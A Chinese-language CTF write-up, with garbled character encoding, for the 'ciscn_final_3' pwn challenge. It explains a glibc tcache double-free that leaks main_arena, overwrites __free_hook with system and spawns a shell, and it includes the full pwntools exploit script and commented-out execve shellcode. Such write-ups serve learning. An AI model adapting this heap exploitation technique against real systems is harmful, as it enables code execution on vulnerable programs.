ciscn_final_3題解

  • 首先拿到題之后檢查防護情況


    checksec

    果然。。全開,無GOT可改,優(yōu)先考慮__free_hook和__malloc_hook

  • 查看程序功能發(fā)現(xiàn)漏洞點


    image.png

兩個簡單功能,增刪,沒有打?。ㄐ拈_始發(fā)涼


add

add功能無漏洞點,每次分配后打印分配的地址,但注意size大小限制,不能進入unsorted bin(一般思路:堆地址需要unsorted泄露找到main_arean地址,繼而根據(jù)相對偏移找到__free_hook地址


remove

remove功能發(fā)現(xiàn)double free,環(huán)境為ubuntu 18,有tcache機制,構造更加方便
好了,現(xiàn)在總結以下可利用的點:

  • 堆地址泄露
  • double free(tcache 更是可以指向任意地址

解題關鍵在于將下一次空閑tcache的fd指向哪一塊區(qū)域,繼而malloc獲取該地址

還是要從堆地址入手??!

查看運行時堆情況,在我們自己申請的堆上面有兩個大的堆塊(C++cin/cout的堆?


heapls

上面兩個free會進入unsorted bin,所以大概思路是

  • 構造第一次 dub free,使第三次申請會申請到0x8403250
  • 申請到0x8403250后釋放,會進入unsorted bin,構造第二次dub free泄露main_arean地址(地址為0x8403250的chunk進入unsorted bin后fd與main_arean相關,第四次申請得到main_arean+56地址
  • 根據(jù)偏移得到__free_hook地址,更改為system,free一個內容為"/bin/sh\x00"的堆塊,觸發(fā)

坑:本來打算__free_hook劫持到堆上構造的shellcode,不使用給的libc庫,不通。。

需要vmmap查看heap執(zhí)行權限

完整exp:

from pwn import *
#context.log_level = 'debug'
sh = process('./ciscn_final_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64')
def add(index, size, content):
    sh.sendline('1')
    sh.sendlineafter('index', str(index))
    sh.sendlineafter('size', str(size))
    sh.sendlineafter('thing', content)
    sh.recvuntil('gift :')
    return int(sh.recv(14), 16)

def remove(index):
    sh.sendline('2')
    sh.sendlineafter('index', str(index))


sh.recvuntil('choice >')
#sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#sc = asm(
'''
xor rdi,rdi     
push rdi       
push rdi      
pop rsi         
pop rdx      
mov rdi,0x68732f6e69622f2f
shr rdi,0x08    
push rdi       
push rsp       
pop rdi      
push 0x3b   
pop rax          
syscall     
'''
sh_addr = add(0 ,0x56, "/bin/sh\x00")
log.success("sh_addr: "+hex(sh_addr))
cout_addr = sh_addr-0x11c10
log.success("cout_heap: "+hex(cout_addr))
add(1, 0x10, 'a')
remove(1)
remove(1)
add(2,0x10,p64(cout_addr))
add(3,0x10,'a')
add(4,0x10, 'chunk')
add(5,0x20,'a')
remove(4)
remove(5)
remove(5)
add(6,0x20,p64(cout_addr))
add(7,0x20,'a')
add(8,0x20,'a')
main_area = add(9,0x20,'main_area')
free_hook = main_area+0x1c48
log.success("main_area: "+hex(main_area))
log.success("free_hook: "+hex(free_hook))
system_addr=free_hook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system_addr))
add(10,0x30,'10')
remove(10)
remove(10)
add(11,0x30,p64(free_hook))
add(12,0x30,'12')
add(13,0x30,p64(system_addr))
remove(0)
#gdb.attach(sh)
sh.interactive()
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

  • emmm這一篇既是開始,也是一個小小的總結。 Q1:為什么是ptmalloc呢? A:內存的分配釋放都很頻繁,pt...
    BJChangAn閱讀 1,777評論 0 1
  • Tags: house-of-orange,sub_arena,io_file 前言 這題有兩種做法.一種很麻煩但...
    pu1p閱讀 302評論 0 0
  • 孩子高考后就離婚”,他以為只是妻子的氣話, 原來她準備了十年! 有些女人連離婚都是優(yōu)雅的。 一個剛離婚的男人談起自...
    飄雪的天堂閱讀 3,617評論 32 89
  • 下面就簡單說下自己的一些淺薄的經驗吧,希望能為屏幕前的你提供一點的啟發(fā)。文章會先將經常問到的問題一一列出來,等以后...
    零點145閱讀 356評論 0 0
  • 轉換為number a=true;//1 a=false; //0 a=null; //0 a=undefined...
    多喝燙水_閱讀 178評論 0 0

友情鏈接更多精彩內容